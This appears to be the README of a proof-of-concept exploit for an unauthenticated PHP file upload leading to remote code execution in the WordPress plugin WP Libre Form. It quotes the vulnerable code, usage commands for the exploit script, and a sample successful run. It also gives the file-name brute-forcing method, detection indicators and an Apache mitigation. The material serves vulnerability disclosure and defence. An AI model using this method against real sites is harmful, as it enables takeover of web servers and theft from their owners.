
CVE-2026-118423 - WP Libre Form <= 1.5.0.1 unauthenticated upload to RCE (PoC + exploit by thiscitze)
by thiscitze
| Product | WP Libre Form (wp-libre-form) |
| Affected | <= 1.5.0.1 |
| Type | Unauthenticated arbitrary file upload (CWE-434) |
| Impact | Remote code execution as the web user |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-118423 |
WP Libre Form registers the AJAX action wplf_submit for both logged-in and
anonymous users (wp_ajax_nopriv_wplf_submit). The handler never validates
the uploaded file type. When the form is not configured to use the media
library, the file is moved straight into wp-content/uploads/:
// inc/wplf-ajax.php
$name = 'lf_' . date( 'ymdhs' ) . '-' . $counter . '-' . sanitize_file_name( $file['name'] );
move_uploaded_file( $file['tmp_name'], $uploads_path['path'] . '/' . $name );
sanitize_file_name() keeps the .php extension, so a PHP payload lands in a
web-accessible directory and is executed by the web server.
The only precondition is a published form: the handler requires a valid
_form_id (a wplf-form post) and the form's required fields, all of which
are visible in the rendered page.
[libre-form] shortcode (the PoC auto-discovers it
through the REST API or the site's own links)wp-content/uploads/ served by a web server that executes PHP (the default)# automatic discovery
python3 poc.py --url https://target.example
# form page known / REST API disabled
python3 poc.py --url https://target.example --form-url https://target.example/contact/
# custom admin-ajax location
python3 poc.py --url https://target.example --ajax-url https://target.example/wp-admin/admin-ajax.php
# only send the file, skip the URL brute force
python3 poc.py --url https://target.example --no-verify
Typical successful run:
+ form page: https://target.example/contact/
+ form id : 42
+ submission accepted (id=118)
+ upload: https://target.example/wp-content/uploads/lf_261106140-0-wplf_7b79.php
+ RCE confirmed - marker WPLF7B79 returned by the server
_form_id hidden input) via the REST
API (/wp-json/wp/v2/pages|posts) or by following same-origin links.admin-ajax.php?action=wplf_submit with a .php file attached to the
form's file input (or to a synthetic field name).lf_<ymdhs>-<counter>-<name>; the PoC rebuilds it from the server Date
header (±5 seconds, counters 0–3) and verifies execution by requesting the
URL and looking for the random marker.0 executed/uploaded, 2 uploaded but URL not found,
1 failure.admin-ajax.php with action=wplf_submit and a multipart
body whose filename ends in .phpwp-content/uploads/lf_*-*-*.phpPHP files younger than the submission in the uploads treewp-content/uploads/:<Directory "/var/www/html/wp-content/uploads">
<FilesMatch "\.(php|phtml|phar)$">
Require all denied
</FilesMatch>
</Directory>
For authorized testing and lab use only. Running this against systems you do not own is a criminal offence in most jurisdictions.
written by thiscitze · github.com/thiscitze